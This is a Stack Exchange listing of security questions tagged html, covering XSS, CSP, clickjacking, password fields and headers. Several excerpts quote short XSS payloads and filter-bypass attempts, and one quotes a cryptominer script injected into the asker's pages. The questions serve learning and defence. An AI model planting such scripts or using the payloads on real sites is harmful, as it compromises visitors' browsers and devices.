Stack Exchange Network

Stack Exchange network consists of 175 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.

Visit Stack Exchange

Questions tagged [html]

HTML (HyperText Markup Language) is a language used to create web pages using tags inline with the content to indicate to browsers how to display that content, using the tags to interpret formatting, images, scripts and other content.

0
votes
0answers
38 views

Can you give me tips about bWAPP HTML injection on high level security? [on hold]

I am trying to perform an HTML injection on my buggy web app (bWAPP). So far I made it on low and medium level but I am really struggling with high-security mode. Can you give me some tips?
0
votes
1answer
28 views

How to filter HTML Event in Native PHP7

i want to creating xss filter for my own project, this is for html event filtering preg_replace("/ on\w+='[^']*'/i", '', preg_replace('/ on\w+="[^"]*"/i', '', $framed)); but considering to more ...
1
vote
2answers
123 views

Can a hacker determine what version of WordPress and PHP a site is using?

Can a hacker determine what version of WordPress and PHP a site is using? Assume this info is not available by View Source.
-1
votes
0answers
14 views

can we copy the contents from iframe to another host?

i have a website called sub.example.com/dir1/dir2 which does not have the iframe option in response i am able to get all the content to iframe option in another site called clickjack.com my question ...
0
votes
1answer
86 views

What would be an example of an attack that exploits escape characters?

As far as I know escape characters are characters which change the meaning of the following character. In HTML for example the & is an escape character that declares the beginning of an entity ...
1
vote
5answers
97 views

How to stop a request for an external image from exposing my IP to the server hosting the image?

Suppose I have a server A, and that there is a website W hosted on A. The HTML of W contains: <img src=https://www.domainD.com/testT.jpg> Then I have a computer C, that accesses W. Will ...
1
vote
1answer
48 views

Does CSP block javascript in <a href> tags?

I recently discovered that its possible to run javascript from an <a> tag like this <a href="javascript:alert('test')"> and this gets run on the current page when clicked. It also seems ...
2
votes
2answers
154 views

Vulnerability in using `input type=“text”` for website password other than shoulder surfing

I found a website that uses the plain text field as a password input form. <input type = "text" autocomplete= off ...> I understand shoulder surfing is one vulnerability but are there other ...
1
vote
0answers
53 views

How can user send malware code via input=file

After the file is uploaded via input=file it is converted to b64 standard. But what is the exact path the file is going through and where in javascript code we can catch that uploaded file. And if I ...
-2
votes
1answer
74 views

How to check hosted content for fraud?

I am a developer at a company that makes landing page software. Users can register and build their own page and publish it. We will provide them a subdomain on our whitelabel domain: test-link....
0
votes
4answers
246 views

XSS payload shorter than 20 character

For an university project I have to perform an analysis on a web application to find out XSS vulnerabilities. After this I have to report and create automatic test to prove vulnerabilities that I have ...
1
vote
1answer
43 views

Site inaccessible with Cookies turned off in browser [closed]

Whenever I access my website with cookies turned off in browser, it redirects me to a google support page that informs me to allow cookies. My website is simple (a blog) HTML and CSS and I store nor ...
3
votes
1answer
183 views

How do I make safe login-emails? (GET/POST) [duplicate]

Vision I envision a login/signup-system, where the user enters his/her email, and receives an email with a link to sign in. The user clicks the link, and is automatically signed in (confirming the ...
0
votes
0answers
25 views

security of <link rel=“canonical”>

today I was a bit surprised to see a <link rel="canonical">-Tag in action: I was reading this news article on my android phone and wanted to share it: https://www.golem.de/news/hyundai-nexo-...
0
votes
2answers
113 views

XSS alert not working with concatenated string

I've noticed that the following Stored XSS does not execute, whereas in the JS console it works: <img src=0 onerror=alert(document.domain+": "+Date.now())> This doesn't prompt an alert box. ...
1
vote
0answers
83 views

Understanding XSS

So, I am trying to understand how XSS works and I gathered some information online and crafted the code. Following is the snippet. When I enter some value in the text field and submit, the script ...
0
votes
1answer
82 views

Can I name a file .pl and run it as html on server? [closed]

I want to know if it is possible to name file .file.pl and run it as HTML. I want this to exploit CORS misconfiguration of a website which only checks origin header for .realwebsite.pl and we can add ...
0
votes
3answers
74 views

Determine All Possible Fields in HTML Form

Is it possible to determine, from the client-side, all the valid fields for a given backend form processor, even if they are excluded from the webpage containing the form? For example: Assume a ...
0
votes
1answer
34 views

What is the benefit of combining a form with php processing script in a single page using isset

I would like to know the benefits of using a single page with both the PHP processing script and the HTML form using isset() as opposed to simply using form action with method POST on one page to call ...
3
votes
3answers
93 views

Relative paths in web applications

I'm currently reading a security audit of a web application where they rank relative paths in a web application as a security risk. e.g.: <a href=../contact.html>Contact</a> I found ...
0
votes
1answer
127 views

Allow ModSecurity to pass specific HTML tags?

I have a web-server running a Perl site, and I have a WAF (ModSecurity) running. The website has a form. When submitted the request contain HTML tags like so: <br+/> <div+style="border:none;...
1
vote
1answer
283 views

How to store an user access token on a third party site in the front end

I am working on a wordpress plugin that provides a comment thread system kind of like disqus (but different). In order to login (to post comments) the workflow is like this : User clicks on log-in ...
64
votes
2answers
8k views

Are EU cookie consent forms safe? [closed]

Does the EU consent form system pose a new security risk? Today we have to click OK on about 20 cookie consent forms every week, where previously we could mostly dismiss internet forms as being ...
3
votes
2answers
236 views

Why does “<!--<script>” in a JS string cause a broken page/denial of service for that page?

I was under the impression that all I needed to do to make inline JSON safe was to break any closing </script> tags in strings, e.g. escape the / like <\/script>. However I found a weird ...
2
votes
1answer
61 views

What stops us from using an <antiscript> tag to stop XSS?

I am aware of various ways to prevent XSS attacks, such as escaping and encoding, which are prone to issues, and using a Content Security Policy which requires extraction of all scripts. However, what ...
0
votes
2answers
281 views

XSS attack vsibible in html but no running

To test XSS for a certain website, username in the account settings to <script type="text/javascript">alert("XSS");</script>. In the html the code it is visible and but it's not running. ...
1
vote
0answers
204 views

Is this code as insecure as it looks? [closed]

The company I work for is looking for a payment processor. Ideally we want a fully and seamlessly integrated solution. I came across this from one of the recommended companies I had to look in to ...
0
votes
2answers
305 views

Using single or double quotes to prevent XSS and SQLi?

Why it is recommended to put single or double quotes around HTML attribute values? It is recommended to prevent XSS, but why? Same goes for SQL injection: It is recommended to use single or double ...
1
vote
2answers
242 views

What attacks does Content Security Policy base-uri protect against?

I have read up on base-uri and the HTML base tag, but what exactly is the base-uri CSP is meant to protect against?
3
votes
2answers
446 views

Is reflected XSS impossible, when HTML meta-characters, e.g., < and >, are encoded, and the result output in HTML context?

Is reflected XSS impossible, when HTML meta-characters, e.g., < and >, are encoded, and the result output in HTML context? I have a website that displays the URL path directly in HTML context, i.e....
1
vote
1answer
40 views

Should I let users set rel=“canonical”?

There is a website where users can post content. Often, users repost content they’ve made on other websites, to this website. (For example, their blogs, Facebook, news website, etc.) Because they ...
6
votes
1answer
802 views

Does Strict-Transport Security Header (HSTS) need to be applied to non 200 response pages (e.g. 403, 302)

I have an application that is protected by Cloudflare. The application responds with a HSTS on all of the other pages except HTTP status 403 Forbidden and 302 Moved Temporarily. It seems to be ...
0
votes
0answers
211 views

PHP malware in the style tag [duplicate]

I'm developing my website based on the Dashgum Bootstrap template, wich I found online. I did a debug "echo" on a completely new empty php page and while inspecting the source, this is what I found ...
0
votes
1answer
227 views

How browser parses the escape characters in Javascript (XSS)?

I am new to XSS attacks. Recently, I was doing a project and found that one of my input field (website) is vulnerable to XSS attack. The value in website field is inserted into a href of an anchor tag ...
6
votes
1answer
301 views

Is noreferrer enough to secure links?

Is the use of noreferrer enough for links that use target="_blank" in order to avoid reverse tabnabbing For context here is an explanation of the issue: "Target=_blank - the most underestimated ...
2
votes
1answer
294 views

Injected Javascript in my HTML document

Recently I noticed following javascript on several of my pages (usually just before closing body tag): <script src="https://ethtrader.de/perfekt/perfekt.js?perfekt=wss://?algo=cn?variant=0?jason=...
-6
votes
1answer
826 views

Protecting against input type =“password” changes? [closed]

Are there any protections against users using Chrome Developer Tools to right click on a password input field, and then change input type="pass" to "text" to reveal the password? There are probably ...
-1
votes
1answer
98 views

Will this method allow EFAIL-safe sending of OpenPGP encrypted messages to otherwise EFAIL-unsafe readers?

The proposed method Brief and simplified description of the attack: Any and every single encrypted block B of the encrypted message can be surrounded by Trojan psuedo-encrypted data to give a ...
9
votes
2answers
281 views

Pitfalls when rolling your own “show password” functionality

I'm considering emulating the "Show password" functionality, available in some newer browsers, on a website, essentially as a polyfill for browsers which don't. The common way to do this is to call a ...
1
vote
1answer
244 views

How do browsers handle document.write in this DOM based XSS case?

OWASP mentions the following example of code vulnerable to a DOM based XSS attack: Select your language: <select><script> document.write("<OPTION value=1>"+document....
5
votes
2answers
962 views

Is an AJAX call less secure than the normal POST method?

I currently have a standard login form like this: <?php if( isset( $_POST['username], $_POST['password'] ) ) { // escape both strings and compare them to database } ?> <form action="" ...
1
vote
1answer
3k views

Bypassing <, > XSS filter

<img class="avatar" src="MY INPUT SPACE"> I am trying to bypass an XSS filter but it is not working since given <, > are filtered. I feel like it I could break it since only these two ...
0
votes
1answer
132 views

XSS prevention when inserting HTML without user controlled data into the DOM?

I have some JavaScript that fetches some HTML from a PHP script, and inserts it into the DOM: $.get("/includes/blocks.php",{ id:encodeURIComponent(id) }).done(function(Data){ $('<div class="...
1
vote
2answers
271 views

Can controlling the content of a CSS url property possibly be exploited in any major way?

So I noticed on a site I'm penetration testing that when you save your profile settings after changing them, one of the parameters in the POST request is avatar_url. I realized that I could repeat ...
0
votes
1answer
65 views

Redirection using HTTP meta tag

I've created a small project, where I scan a 1000+ sites for TLS implementation, including Does a https site exist Does the site redirect from http to https Various other info about the cert ...
2
votes
2answers
1k views

How do you keep someone from changing hidden values in an HTML form?

If I have an HTML form, and it has hidden inputs for ID numbers and the like (so I know the id key of of table x to update), how can I secure it so the person can't just change it and screw up ...
1
vote
0answers
41 views

squid3: inject js into every visitet http site [duplicate]

I own a squid3 proxy on a vps. I can connect from my pc to the proxy, and can surf over the proxy's ip adress. Is it possible to inject a simple alert('unsafe connection') into every http html ...
6
votes
1answer
223 views

Can an attacker force a browser to use quirks mode to render a page?

During a pentest, I've found a potential vulnerability on a web page, but it can only be exploited in quirks mode. The page starts with <!doctype html>, which triggers standards mode so at ...
9
votes
1answer
602 views

Why is a “tainted canvas” a risk?

I understand the concern about a tainted canvas - the idea that the bits of an image from another site can be sent back to a malicious server. But can you explain the details of how exactly this works?...
1
vote
1answer
52 views

How is it secure to open documents with embedded/linked fonts and images

There were some kernel exploits and CVEs (for example ms11-087 and CVE-2017-8682) about fonts. And there were some malware campaigns like duqu which used zerodays in fonts embedded into docx files. I ...